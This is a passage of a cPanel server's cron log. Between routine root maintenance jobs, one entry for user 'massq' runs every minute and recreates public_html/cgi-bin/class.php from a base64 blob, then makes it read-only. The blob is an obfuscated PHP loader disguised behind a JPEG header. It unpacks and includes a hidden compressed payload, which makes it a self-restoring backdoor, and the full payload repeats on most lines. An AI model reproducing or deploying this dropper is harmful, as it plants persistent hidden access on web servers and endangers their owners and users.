uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 06:19:01 server CROND[29192]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 06:20:01 server CROND[29241]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 06:20:01 server CROND[29243]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 06:20:01 server CROND[29242]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 06:20:01 server CROND[29244]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 11 06:20:01 server CROND[29249]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 06:21:01 server CROND[29348]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 06:22:01 server CROND[29401]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 06:23:01 server CROND[29451]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 06:24:01 server CROND[29506]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 06:25:01 server CROND[29683]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Apr 11 06:25:01 server CROND[29684]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 06:25:01 server CROND[29685]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 06:25:01 server CROND[29688]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 06:26:01 server CROND[29799]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 06:27:01 server CROND[29852]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 06:27:01 server CROND[29853]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 11 06:28:01 server CROND[29910]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 06:29:01 server CROND[29959]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 06:30:01 server CROND[30112]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 06:30:01 server CROND[30113]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 06:30:01 server CROND[30114]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 06:30:01 server CROND[30115]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 06:31:01 server CROND[30234]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 06:32:01 server CROND[30288]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 